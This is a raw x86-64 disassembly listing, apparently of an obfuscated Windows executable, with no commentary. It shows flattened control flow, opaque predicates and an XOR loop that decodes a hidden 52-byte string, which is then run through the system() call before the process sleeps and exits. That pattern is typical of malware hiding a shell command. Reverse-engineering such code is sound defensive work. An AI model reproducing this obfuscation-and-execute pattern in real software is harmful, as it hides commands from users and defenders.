mov rdx, rdi
shr rdx, 0x3f
sar rdi, 0x24
add edi, edx
imul edx, edi, 0x32
sub ebx, edx
mov edx, 1
sub edx, ebx
add ebx, 0x34
and edx, 1
and ebx, 0xfe
or ebx, edx
xor bl, cl
xor bl, 1
mov rcx, qword [rbp + 0x18]
mov rdx, qword [rbp - 0x30]
mov byte [rdx + rcx], bl
mov ecx, 0x8f1844ad
jmp 0x1404c83b0
cmp ebx, 0x8f1844ad
je 0x1404c84cf
mov ecx, ebx
cmp ebx, 0x9428dbc3
jne 0x1404c83b0
mov ecx, r13d
jmp 0x1404c83b0
cmp ebx, 0x7583423e
je 0x1404c84df
mov ecx, ebx
cmp ebx, 0x75b14bde
jne 0x1404c83b0
mov ecx, 0x7583423e
xor eax, eax
jmp 0x1404c83b0
movsxd rcx, dword [rbp - 0x10]
mov qword [rbp + 0x18], rcx
mov rcx, qword [rbp + 0x18]
movzx ecx, byte [rsi + rcx]
mov byte [rbp - 0x38], cl
mov ecx, 0x53a1a3e2
jmp 0x1404c83b0
mov eax, dword [rbp - 0x10]
add eax, 1
mov ecx, 0x7583423e
jmp 0x1404c83b0
mov dword [rbp - 0x10], eax
mov ecx, dword [rbp - 0x10]
cmp ecx, 0x34
mov ecx, 0xe1a6bc5f
mov edx, 0xb394a7d0
cmovl ecx, edx
jmp 0x1404c83b0
mov ecx, ebx
cmp ebx, 0xe1a6bc5f
jne 0x1404c83b0
mov esi, 0x930c625c
jmp 0x1404c81a0
mov esi, eax
cmp eax, 0xf771ca45
jne 0x1404c81a0
mov rax, qword [rbp + 8]
mov eax, 0xc4d44c96
mov r12d, 0xa3a983ec
nop
cmp eax, 0xc4d44c96
je 0x1404c8543
cmp eax, 0x3028b9f6
jne 0x1404c8530
jmp 0x1404c89da
mov eax, 0x3028b9f6
jmp 0x1404c8530
mov eax, dword [0x140ae9708]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp + 0x27]
mov eax, dword [0x140ae970c]
sete cl
cmp eax, 0xa
setl al
setl byte [rbp + 0x14]
mov rdx, qword [rbp - 0x30]
add rdx, 0x33
mov qword [rbp - 0x18], rdx
mov edx, dword [0x140ae9710]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
sete dl
cmp dword [0x140ae9714], 0xa
setl bl
or bl, dl
mov r8d, 0xa3b24b5c
mov edx, 0x75b14bde
cmovne r8d, edx
mov r13d, 0xa3b24b5c
mov edx, 0x4feac2e
cmovne r13d, edx
or al, cl
mov r9d, 0x2136a59b
mov eax, 0xf114e2ee
cmovne r9d, eax
mov r15d, 0x2136a59b
mov eax, 0x43ca66f8
cmovne r15d, eax
mov r10d, 0x6057543b
mov eax, 0x5fa1f072
cmovne r10d, eax
mov r11d, 0x6057543b
mov eax, 0xcfd5e2f9
cmovne r11d, eax
mov r12d, 0x57ebd914
mov eax, 0x6c654503
cmovne r12d, eax
mov esi, 0xdfe3da52
jmp 0x1404c8620
mov esi, 0xcfd5e2f9
nop word cs:[rax + rax]
nop dword [rax + rax]
mov eax, esi
cmp esi, 0xf771ca44
jg 0x1404c8670
cmp eax, 0xdfe3da51
jle 0x1404c86a0
cmp eax, 0xeaf93b3c
jle 0x1404c8709
mov esi, r15d
cmp eax, 0xeaf93b3d
je 0x1404c8620
cmp eax, 0xf114e2ee
je 0x1404c87b6
mov esi, eax
cmp eax, 0xf596f554
jne 0x1404c8620
mov rax, qword [rbp - 0x30]
mov qword [rbp], rax
mov esi, 0x83162421
jmp 0x1404c8620
cmp eax, 0x57ebd913
jg 0x1404c86d0
cmp eax, 0x43ca66f7
jg 0x1404c8729
mov esi, r12d
cmp eax, 0x4184110
je 0x1404c8620
cmp eax, 0x2136a59b
jne 0x1404c899c
mov esi, 0x43ca66f8
jmp 0x1404c8620
cmp eax, 0x99879241
jg 0x1404c8774
cmp eax, 0x83162421
je 0x1404c87c0
mov esi, eax
cmp eax, 0x930c625c
jne 0x1404c8620
mov esi, 0xf596f554
jmp 0x1404c8620
cmp eax, 0x6057543a
jg 0x1404c8794
cmp eax, 0x57ebd914
je 0x1404c87d2
mov esi, eax
cmp eax, 0x5fa1f072
jne 0x1404c8620
cmp byte [rbp - 8], 0
mov esi, 0xf596f554
mov eax, 0xeaf93b3d
cmovne esi, eax
jmp 0x1404c8620
cmp eax, 0xdfe3da52
je 0x1404c87dc
mov esi, eax
cmp eax, 0xe36ba976
jne 0x1404c8620
mov esi, r11d
jmp 0x1404c8620
cmp eax, 0x43ca66f8
je 0x1404c87fa
mov esi, eax
cmp eax, 0x55fce827
jne 0x1404c8620
mov rax, qword [rbp - 0x18]
mov qword [rbp + 0x18], rax
mov eax, 0x9cbbe8f4
nop
cmp eax, 0x113169d6
je 0x1404c880a
cmp eax, 0x9cbbe8f4
jne 0x1404c8750
mov rax, qword [rbp + 0x18]
cmp byte [rax], 0
setne byte [rbp - 0x10]
mov eax, 0x113169d6
jmp 0x1404c8750
cmp eax, 0x99879242
je 0x1404c881a
mov esi, eax
cmp eax, 0xcfd5e2f9
jne 0x1404c8620
mov esi, r10d
jmp 0x1404c8620
cmp eax, 0x6057543b
je 0x1404c860c
mov esi, eax
cmp eax, 0x6c654503
jne 0x1404c8620
mov esi, 0x55fce827
jmp 0x1404c8620
mov esi, 0x99879242
jmp 0x1404c8620
mov rax, qword [rbp]
mov qword [rbp + 8], rax
mov esi, 0xf771ca45
jmp 0x1404c8620
mov esi, 0x4184110
jmp 0x1404c8620
mov al, byte [rbp + 0x27]
cmp byte [rbp + 0x14], 0
mov esi, 0x57ebd914
mov ecx, 0x4184110
cmovne esi, ecx
test al, al
cmovne esi, ecx
jmp 0x1404c8620
mov rax, qword [rbp - 0x30]
mov qword [rbp - 0x20], rax
mov esi, r9d
jmp 0x1404c8620
mov al, byte [rbp - 0x10]
mov byte [rbp - 8], al
mov esi, 0xe36ba976
jmp 0x1404c8620
mov rsi, qword [rbp - 0x20]
mov ecx, 0xba0e4ebb
jmp 0x1404c8830
mov eax, dword [rbp - 0x10]
add eax, 1
mov ecx, 0x7583423e
mov ebx, ecx
cmp ecx, 0xe1a6bc5e
jg 0x1404c8870
cmp ebx, 0xa3b24b5b
jle 0x1404c88f0
cmp ebx, 0xa3b24b5c
je 0x1404c897a
cmp ebx, 0xb394a7d0
je 0x1404c8942
mov ecx, ebx
cmp ebx, 0xba0e4ebb
jne 0x1404c8830
mov ecx, 0x9428dbc3
jmp 0x1404c8830
cmp ebx, 0x7583423d
jg 0x1404c8920
mov ecx, r8d
cmp ebx, 0x4feac2e
je 0x1404c8830
cmp ebx, 0x53a1a3e2
jne 0x1404c8984
movzx ecx, byte [rbp - 0x38]
movsxd rbx, dword [rbp - 0x10]
imul rdi, rbx, 0x51eb851f
mov rdx, rdi
shr rdx, 0x3f
sar rdi, 0x24
add edi, edx
imul edx, edi, 0x32
sub ebx, edx
mov edx, 1
sub edx, ebx
add ebx, 0x34
and edx, 1
and ebx, 0xfe
or ebx, edx
xor bl, cl
xor bl, 1
mov rcx, qword [rbp + 0x18]
mov rdx, qword [rbp - 0x30]
mov byte [rdx + rcx], bl
mov ecx, 0x8f1844ad
jmp 0x1404c8830
cmp ebx, 0x8f1844ad
je 0x1404c8825
mov ecx, ebx
cmp ebx, 0x9428dbc3
jne 0x1404c8830
mov ecx, r13d
jmp 0x1404c8830
cmp ebx, 0x7583423e
je 0x1404c895f
mov ecx, ebx
cmp ebx, 0x75b14bde
jne 0x1404c8830
mov ecx, 0x7583423e
xor eax, eax
jmp 0x1404c8830
movsxd rcx, dword [rbp - 0x10]
mov qword [rbp + 0x18], rcx
mov rcx, qword [rbp + 0x18]
movzx ecx, byte [rsi + rcx]
mov byte [rbp - 0x38], cl
mov ecx, 0x53a1a3e2
jmp 0x1404c8830
mov dword [rbp - 0x10], eax
mov ecx, dword [rbp - 0x10]
cmp ecx, 0x34
mov ecx, 0xe1a6bc5f
mov edx, 0xb394a7d0
cmovl ecx, edx
jmp 0x1404c8830
mov ecx, 0x4feac2e
jmp 0x1404c8830
mov ecx, ebx
cmp ebx, 0xe1a6bc5f
jne 0x1404c8830
mov esi, 0x930c625c
jmp 0x1404c8620
mov esi, eax
cmp eax, 0xf771ca45
jne 0x1404c8620
mov rax, qword [rbp + 8]
mov eax, 0xc4d44c96
mov r12d, 0xa3a983ec
nop dword [rax + rax]
cmp eax, 0xc4d44c96
je 0x1404c89d3
cmp eax, 0x3028b9f6
jne 0x1404c89c0
jmp 0x1404c8adb
mov eax, 0x3028b9f6
jmp 0x1404c89c0
mov rax, qword [rbp - 0x30]
mov qword [rbp + 0x18], rax
mov rdx, qword [rbp + 0x18]
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
call fcn.140282cd0
add rsp, 0x20
mov eax, dword [0x140ae0ba8]
mov ecx, dword [0x140ae0bac]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp]
cmp ecx, 0xa
setl byte [rbp + 8]
mov ecx, 0x6ab01df
mov edx, dword [0x140ae0ba8]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0x6d40b88
mov ebx, 0xf60e03e0
cmove edx, ebx
cmp dword [0x140ae0bac], 0xa
cmovl edx, ebx
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x6ab01de
jg 0x1404c8a80
cmp ecx, 0xa214a4d3
je 0x1404c8bdb
cmp ecx, 0xd2d8422a
je 0x1404c8ac0
cmp ecx, 0xf60e03e0
jne 0x1404c8a50
mov ecx, 0xd2d8422a
jmp 0x1404c8a50
cmp ecx, 0xf62e368
je 0x1404c8ab4
cmp ecx, 0x6d40b88
je 0x1404c8ab8
cmp ecx, 0x6ab01df
jne 0x1404c8a50
movzx ebx, byte [rbp]
cmp byte [rbp + 8], 0
mov ecx, 0x6d40b88
mov edi, 0xf62e368
cmovne ecx, edi
test bl, bl
cmovne ecx, edi
jmp 0x1404c8a50
mov ecx, edx
jmp 0x1404c8a50
mov ecx, 0xf62e368
jmp 0x1404c8a50
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
call fcn.140326fe0
add rsp, 0x20
mov ecx, 0xa214a4d3
jmp 0x1404c8a1c
mov rax, qword [rbp - 0x30]
mov qword [rbp + 0x18], rax
mov rdx, qword [rbp + 0x18]
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
call fcn.140282cd0
add rsp, 0x20
mov eax, dword [0x140ae0ba8]
mov ecx, dword [0x140ae0bac]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp]
cmp ecx, 0xa
setl byte [rbp + 8]
mov ecx, 0x6ab01df
mov edx, dword [0x140ae0ba8]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0x6d40b88
mov ebx, 0xf60e03e0
cmove edx, ebx
cmp dword [0x140ae0bac], 0xa
cmovl edx, ebx
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x6ab01de
jg 0x1404c8b80
cmp ecx, 0xa214a4d3
je 0x1404c8c25
cmp ecx, 0xd2d8422a
je 0x1404c8bc0
cmp ecx, 0xf60e03e0
jne 0x1404c8b50
mov ecx, 0xd2d8422a
jmp 0x1404c8b50
cmp ecx, 0xf62e368
je 0x1404c8bb4
cmp ecx, 0x6d40b88
je 0x1404c8bb8
cmp ecx, 0x6ab01df
jne 0x1404c8b50
movzx ebx, byte [rbp]
cmp byte [rbp + 8], 0
mov ecx, 0x6d40b88
mov edi, 0xf62e368
cmovne ecx, edi
test bl, bl
cmovne ecx, edi
jmp 0x1404c8b50
mov ecx, edx
jmp 0x1404c8b50
mov ecx, 0xf62e368
jmp 0x1404c8b50
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
call fcn.140326fe0
add rsp, 0x20
mov ecx, 0xa214a4d3
jmp 0x1404c8b1d
mov qword [rbp + 0x18], rax
mov rcx, qword [rbp + 0x18]
sub rsp, 0x20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rbp - 0x40]
call fcn.14024afe0
add rsp, 0x20
mov eax, dword [0x140ae96e8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8f17f28a
mov ecx, 0xe5f4af78
cmove eax, ecx
cmp dword [0x140ae96ec], 0xa
cmovl eax, ecx
jmp 0x1404c5d70
mov qword [rbp + 0x18], rax
mov rcx, qword [rbp + 0x18]
sub rsp, 0x20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rbp - 0x40]
call fcn.14024afe0
add rsp, 0x20
mov eax, 0xfe02bfb1
jmp 0x1404c5d70
sub rsp, 0x20
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]